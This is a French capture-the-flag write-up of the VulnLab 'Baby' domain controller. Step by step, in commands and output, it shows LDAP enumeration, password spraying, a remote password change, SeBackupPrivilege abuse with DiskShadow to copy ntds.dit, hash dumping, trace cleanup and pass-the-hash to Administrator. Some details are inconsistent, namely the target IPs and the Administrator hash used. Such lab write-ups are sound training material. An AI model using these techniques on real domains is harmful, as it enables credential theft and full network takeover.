Baby (VulnLab) - Writeup Complet
Publié le 17 min de lecture
Dans cette série33 min de lecture au total
- GCTF 2025 - Writeup du challenge CASE
- Baby (VulnLab) - Writeup Complet
| Info | Valeur |
|---|---|
| Nom | Baby |
| Plateforme | VulnLab / HackTheBox |
| OS | Windows Server 2022 Build 20348 |
| Domaine | baby.vl |
| DC | BABYDC.baby.vl |
| Difficulté | Easy |
| IP cible | 10.129.234.71 |
1. Reconnaissance
1.1 Scan de ports
La première étape de toute pentest est de découvrir quels services tournent sur la cible. On utilise nmap avec un scan complet de tous les ports (-p-) et on désactive la découverte d’hôtes (-Pn) car on sait que la cible est en ligne.
nmap -p- -Pn --min-rate 1000 10.129.14.67PORT STATE SERVICE53/tcp open domain88/tcp open kerberos-sec135/tcp open msrpc139/tcp open netbios-ssn389/tcp open ldap445/tcp open microsoft-ds464/tcp open kpasswd5593/tcp open http-rpc-epmap636/tcp open ldapssl3268/tcp open globalcatLDAP3269/tcp open globalcatLDAPssl3389/tcp open ms-wbt-server5985/tcp open wsman9389/tcp open adws
[...]1.2 Scan de services détaillé
On relance un scan plus agressif avec -A qui active la détection d’OS, de versions de services, l’exécution de scripts NSE et le traceroute. Le flag -vv augmente la verbosité pour obtenir un maximum de détails.
nmap -p- -Pn 10.129.14.67 -A -vvInformations clés extraites :
- OS : Windows Server 2022 Build 20348
- Nom machine : BABYDC
- Domaine : baby.vl
- FQDN : BabyDC.baby.vl
- SMB signing : enabled and required
- WinRM (5985) : ouvert
1.3 Configuration de l’environnement
Avant d’aller plus loin, on configure notre environnement pour résoudre le nom de domaine :
echo "10.129.234.71 BABYDC.baby.vl baby.vl BABYDC" >> /etc/hosts
# Variable d'environnementexport DC_IP=10.129.234.712. Énumération LDAP - Bind anonyme
2.1 Test de l’authentification anonyme
On teste si le serveur LDAP accepte les connexions anonymes (sans identifiants). C’est une mauvaise configuration courante sur les DC.
On utilise NetExec (nxc) pour tester le bind anonyme LDAP. Les paramètres -u '' -p '' envoient un nom d’utilisateur et un mot de passe vides pour tenter une connexion anonyme.
$ nxc ldap 10.129.14.67 -u '' -p ''LDAP 10.129.14.67 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)LDAP 10.129.14.67 389 BABYDC [+] baby.vl\:2.2 Énumération des utilisateurs du domaine
Le flag --users demande à NetExec d’énumérer tous les comptes utilisateurs du domaine via LDAP, en affichant leurs noms, dates de changement de mot de passe, compteur de mauvais mots de passe et description.
$ nxc ldap 10.129.14.67 -u '' -p '' --usersLDAP 10.129.14.67 389 BABYDC [*] Enumerated 9 domain users: baby.vlLDAP 10.129.14.67 389 BABYDC -Username- -Last PW Set- -BadPW- -Description-LDAP 10.129.14.67 389 BABYDC Guest <never> 0 Built-in account for guest access to the computer/domainLDAP 10.129.14.67 389 BABYDC Jacqueline.Barnett 2021-11-21 16:11:03 0LDAP 10.129.14.67 389 BABYDC Ashley.Webb 2021-11-21 16:11:03 0LDAP 10.129.14.67 389 BABYDC Hugh.George 2021-11-21 16:11:03 0LDAP 10.129.14.67 389 BABYDC Leonard.Dyer 2021-11-21 16:11:03 0LDAP 10.129.14.67 389 BABYDC Connor.Wilkinson 2021-11-21 16:11:08 0LDAP 10.129.14.67 389 BABYDC Joseph.Hughes 2021-11-21 16:11:08 0LDAP 10.129.14.67 389 BABYDC Kerry.Wilson 2021-11-21 16:11:08 0LDAP 10.129.14.67 389 BABYDC Teresa.Bell 2021-11-21 16:14:37 0 Set initial password to BabyStart123!3. Découverte d’un mot de passe dans une description LDAP
3.1 Énumération LDAP complète pour trouver tous les utilisateurs
L’outil nxc n’a retourné que 9 utilisateurs. On utilise ldapsearch pour une énumération plus exhaustive :
ldapsearch est un client LDAP en ligne de commande. Ici :
-x: authentification simple (pas SASL)-b "dc=baby,dc=vl": base de recherche (la racine du domaine)"*": récupérer tous les attributs de chaque objet-H ldap://BabyDC.baby.vl: URI du serveur LDAP cible| grep dn: on filtre la sortie pour ne garder que les Distinguished Names (DN), l’identifiant unique de chaque objet dans l’annuaire
$ ldapsearch -x -b "dc=baby,dc=vl" "*" -H ldap://BabyDC.baby.vl | grep dndn: DC=baby,DC=vldn: CN=Administrator,CN=Users,DC=baby,DC=vldn: CN=Guest,CN=Users,DC=baby,DC=vldn: CN=krbtgt,CN=Users,DC=baby,DC=vldn: CN=dev,CN=Users,DC=baby,DC=vldn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vldn: CN=Ashley Webb,OU=dev,DC=baby,DC=vldn: CN=Hugh George,OU=dev,DC=baby,DC=vldn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vldn: CN=Ian Walker,OU=dev,DC=baby,DC=vldn: CN=it,CN=Users,DC=baby,DC=vldn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vldn: CN=Joseph Hughes,OU=it,DC=baby,DC=vldn: CN=Kerry Wilson,OU=it,DC=baby,DC=vldn: CN=Teresa Bell,OU=it,DC=baby,DC=vldn: CN=Caroline Robinson,OU=it,DC=baby,DC=vlStructure organisationnelle du domaine :
- OU=dev : Jacqueline.Barnett, Ashley.Webb, Hugh.George, Leonard.Dyer, Ian.Walker
- OU=it : Connor.Wilkinson, Joseph.Hughes, Kerry.Wilson, Teresa.Bell, Caroline.Robinson
4. Password Spraying et STATUS_PASSWORD_MUST_CHANGE
4.1 Constitution de la liste d’utilisateurs
$ cat usersGuestJacqueline.BarnettAshley.WebbHugh.GeorgeLeonard.DyerConnor.WilkinsonJoseph.HughesIan.WalkerKerry.WilsonTeresa.BellCaroline.Robinson4.2 Password spray avec le mot de passe découvert
On tente le mot de passe BabyStart123! (découvert dans la description LDAP) sur tous les comptes du domaine. C’est du password spraying : un seul mot de passe testé sur plusieurs comptes. Le paramètre -u users prend un fichier contenant un nom d’utilisateur par ligne, et -p le mot de passe à tester sur chacun.
$ nxc ldap 10.129.14.67 -u users -p 'BabyStart123!'LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Guest:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Hugh.George:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ian.Walker:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE5. Changement de mot de passe à distance
5.1 Tentatives et erreurs
Plusieurs méthodes ont été testées :
smbpasswd (échec)
smbpasswdest l’outil GNU/Linux natif pour changer un mot de passe SMB.-U BABY/Caroline.Robinsonspécifie le compte cible (domaine/utilisateur) et-r baby.vlindique la machine distante sur laquelle effectuer le changement.$ smbpasswd -U BABY/Caroline.Robinson -r baby.vlOld SMB password:New SMB password:Retype new SMB password:machine baby.vl rejected the password change: STATUS_PASSWORD_RESTRICTIONnxc change-password (succès)
On utilise le module
-M change-passwordde NetExec via SMB. L’option-o NEWPASS='BabyAnd123!'passe le nouveau mot de passe au module. NetExec gère automatiquement le protocole MS-SAMR pour effectuer le changement à distance.$ nxc smb baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS='BabyAnd123!'SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGECHANGE-P... 10.129.234.71 445 BABYDC [+] Successfully changed password for Caroline.Robinson
5.2 Vérification des accès
On vérifie que les nouveaux identifiants fonctionnent sur les différents protocoles. NetExec teste LDAP (port 389) et WinRM (port 5985). Le marqueur (admin) signifie que l’utilisateur a des droits d’administration sur la cible.
$ nxc ldap baby.vl -u Caroline.Robinson -p 'BabyAnd123!'LDAP 10.129.234.71 389 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin)
$ nxc winrm baby.vl -u Caroline.Robinson -p 'BabyAnd123!'WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin)6. Accès initial - WinRM (User Flag)
6.1 Connexion via Evil-WinRM
evil-winrm-py est un client WinRM (Windows Remote Management) qui fournit un shell PowerShell interactif à distance. --ip spécifie la cible et --user le compte à utiliser. Le mot de passe est demandé de manière interactive.
$ evil-winrm-py --ip baby.vl --user Caroline.RobinsonPassword: BabyAnd123![*] Connecting to 'baby.vl:5985' as 'Caroline.Robinson'evil-winrm-py PS C:\Users\Caroline.Robinson\Documents>6.2 Récupération du flag utilisateur
evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> cat user.txt6ce35506b416e040865255ad1168147d6.3 Énumération des privilèges
La commande whoami /priv affiche les privilèges Windows associés au token de l’utilisateur courant. Ces privilèges déterminent quelles opérations spéciales le compte peut effectuer sur le système.
evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ============================== =======SeMachineAccountPrivilege Add workstations to domain EnabledSeBackupPrivilege Back up files and directories EnabledSeRestorePrivilege Restore files and directories EnabledSeShutdownPrivilege Shut down the system EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabled7. Privilege Escalation - Abus de SeBackupPrivilege
7.1 Première tentative : Extraction des ruches SAM/SYSTEM
La méthode la plus simple consiste à extraire les ruches du registre Windows. La commande reg save exporte une branche du registre vers un fichier. hklm\sam contient les hashes locaux des comptes, et hklm\system contient la clé de chiffrement (bootkey) nécessaire pour les déchiffrer.
Extraction des ruches sur la cible
Fenêtre de terminal evil-winrm-py PS C:\> mkdir Tempevil-winrm-py PS C:\> reg save hklm\sam C:\Temp\samThe operation completed successfully.evil-winrm-py PS C:\> reg save hklm\system C:\Temp\systemThe operation completed successfully.Téléchargement vers la machine attaquante
Fenêtre de terminal evil-winrm-py PS C:\Temp> download sam .[+] File downloaded successfully and saved as: /workspace/samevil-winrm-py PS C:\Temp> download system .[+] File downloaded successfully and saved as: /workspace/systemDump des hashes SAM locaux
secretsdump(Impacket) extrait les hashes de mots de passe depuis les fichiers de registre Windows.-sam samet-system systempointent vers les fichiers téléchargés.LOCALindique qu’on travaille sur des fichiers locaux (pas de connexion réseau).$ secretsdump -sam sam -system system LOCALImpacket (Exegol fork) v0.13.0.dev0+20250723.125503.b5db2dd7[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[*] Cleaning up...Tentative de Pass-the-Hash (échec)
On tente un Pass-the-Hash avec NetExec : le flag
-Hpermet de s’authentifier avec le hash NT au lieu du mot de passe en clair.$ nxc smb 10.129.234.71 -u Administrator -H 8d992faed38128ae85e95fa35868bb43SMB 10.129.234.71 445 BABYDC [-] baby.vl\Administrator:8d992faed38128ae85e95fa35868bb43 STATUS_LOGON_FAILURE
8. Extraction du NTDS.dit avec DiskShadow
8.1 Pourquoi DiskShadow ?
Le fichier C:\Windows\NTDS\ntds.dit est constamment verrouillé par le processus Active Directory. On ne peut pas le copier directement. La solution est de créer un Volume Shadow Copy (VSS), un instantané du disque, puis de copier le fichier depuis cet instantané.
DiskShadow est un outil Windows légitime qui permet de créer des shadow copies via un script.
8.2 Création et exécution
Création du script DiskShadow
$ cat bck.txtset metadata C:\Windows\Temp\meta.cabset context clientaccessibleset context persistentbegin backupadd volume C: alias cdrivecreateexpose %cdrive% E:end backupUpload et exécution du script
On upload le script sur la cible puis on l’exécute avec
diskshadow /s(mode script, non interactif).Fenêtre de terminal evil-winrm-py PS C:\Temp> upload bck.txtevil-winrm-py PS C:\Temp> diskshadow /s bck.txtCopie du NTDS.dit via robocopy /b
Le shadow copy est créé et exposé sur
E:\. On utiliserobocopyavec le flag/b(backup mode) qui exploite leSeBackupPrivilegepour contourner les ACLs et copier le fichier verrouillé.evil-winrm-py PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit-------------------------------------------------------------------------------ROBOCOPY :: Robust File Copy for Windows-------------------------------------------------------------------------------Source : E:\Windows\ntds\Dest : C:\Temp\Files : ntds.ditNew File 16.0 m ntds.dit100%-------------------------------------------------------------------------------Total Copied Skipped Mismatch FAILED ExtrasDirs : 1 0 1 0 0 0Files : 1 1 0 0 0 0Bytes : 16.00 m 16.00 m 0 0 0 0Téléchargement et nettoyage
On exfiltre le fichier vers notre machine, puis on supprime le shadow copy pour nettoyer les traces.
Fenêtre de terminal evil-winrm-py PS C:\Temp> download ntds.dit .[+] File downloaded successfully and saved as: /workspace/ntds.ditevil-winrm-py PS C:\Temp> unexpose E:evil-winrm-py PS C:\Temp> delete shadows volume E:
9. Dump des secrets du domaine
secretsdump (Impacket) - échec partiel
On ajoute
-ntds ntds.ditpour demander àsecretsdumpde parser également la base NTDS en plus des ruches SAM/SYSTEM.$ secretsdump -sam sam -system system -ntds ntds.dit LOCAL[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[*] Cleaning up...gosecretsdump - succès
On utilise
gosecretsdump, une réimplémentation en Go de secretsdump, qui gère mieux certains formats NTDS.-ntdspointe vers le fichier NTDS.dit et-systemvers la ruche SYSTEM (nécessaire pour déchiffrer les hashes).$ gosecretsdump -ntds ntds.dit -system systemBABYDC$:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:9f4041fd26048254f14550f776deabb6:::
10. Accès Administrateur - Pass-the-Hash (Root Flag)
10.1 Connexion en tant qu’Administrator
Avec le hash NT de l’administrateur du domaine extrait du NTDS.dit, on utilise la technique Pass-the-Hash (PtH) pour se connecter sans connaître le mot de passe en clair. Le flag -H d’evil-winrm accepte directement un hash NT à la place du mot de passe.
$ evil-winrm-py --ip baby.vl --user Administrator -H ee4457ae59f1e3fbd764e33d9cef123d[*] Connecting to 'baby.vl:5985' as 'Administrator'evil-winrm-py PS C:\Users\Administrator\Documents>10.2 Récupération du flag root
evil-winrm-py PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\DesktopMode LastWriteTime Length Name---- ------------- ------ -----ar--- 4/3/2026 2:54 PM 34 root.txt
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt66d724739e14a060792921068c899a3cRésumé de l’attaque (Kill Chain)
graph LR subgraph Reconnaissance A["nmap -p- -Pn\\n21 ports ouverts\\nWindows Server 2022"] --> B["nxc ldap -u '' -p ''\\nBind anonyme autorise"] B --> C["nxc ldap --users\\n9 utilisateurs enumeres"] C --> D["ldapsearch\\n2 users supplementaires\\nIan.Walker, Caroline.Robinson"] end subgraph Information Disclosure D --> E["Description LDAP de Teresa.Bell\\nSet initial password to BabyStart123!"] end subgraph Credential Access E --> F["Password Spraying\\nnxc ldap -u users -p BabyStart123!\\n10 echecs, 1 resultat"] F --> G["Caroline.Robinson\\nSTATUS_PASSWORD_MUST_CHANGE\\nMot de passe valide"] G --> H["nxc smb -M change-password\\nBabyStart123! puis BabyAnd123!"] end subgraph Initial Access H --> I["nxc winrm = admin\\nCaroline.Robinson:BabyAnd123!"] I --> J["evil-winrm-py\\nShell sur BABYDC:5985"] J --> K["cat user.txt\\n6ce35506b416e040865255ad1168147d"] end subgraph Privilege Escalation J --> L["whoami /priv\\nSeBackupPrivilege\\nSeRestorePrivilege"] L --> M["reg save hklm sam/system\\nDump SAM local"] M --> N["secretsdump -sam -system LOCAL\\nHash Admin: 8d992fa...\\nSTATUS_LOGON_FAILURE"] N --> O["DiskShadow /s bck.txt\\nCreation Volume Shadow Copy\\nExpose sur E:"] O --> P["robocopy /b E:\\Windows\\ntds .\\nCopie ntds.dit via\\nSeBackupPrivilege"] P --> Q["download ntds.dit\\n16 Mo exfiltres"] end subgraph Domain Compromise Q --> R["gosecretsdump\\n-ntds ntds.dit -system system\\nDump de tous les hashes"] R --> S["Pass-the-Hash\\nevil-winrm -H ee4457ae...\\nAdministrator@BABYDC"] S --> T["cat root.txt\\n66d724739e14a060792921068c899a3c"] end
Flags
| Flag | Valeur |
|---|---|
| User | 6ce35506b416e040865255ad1168147d |
| Root | 66d724739e14a060792921068c899a3c |
Outils utilisés
| Outil | Usage |
|---|---|
| nmap | Scan de ports et détection de services |
| NetExec (nxc) | Énumération LDAP/SMB, password spraying, changement de mot de passe, modules post-exploitation |
| ldapsearch | Énumération LDAP brute pour lister tous les DN |
| evil-winrm-py | Shell PowerShell à distance via WinRM |
| DiskShadow | Création de Volume Shadow Copy (outil Windows natif) |
| robocopy /b | Copie de fichiers en mode backup (exploite SeBackupPrivilege) |
| secretsdump | Extraction de hashes depuis SAM/SYSTEM |
| gosecretsdump | Extraction de hashes depuis NTDS.dit + SYSTEM |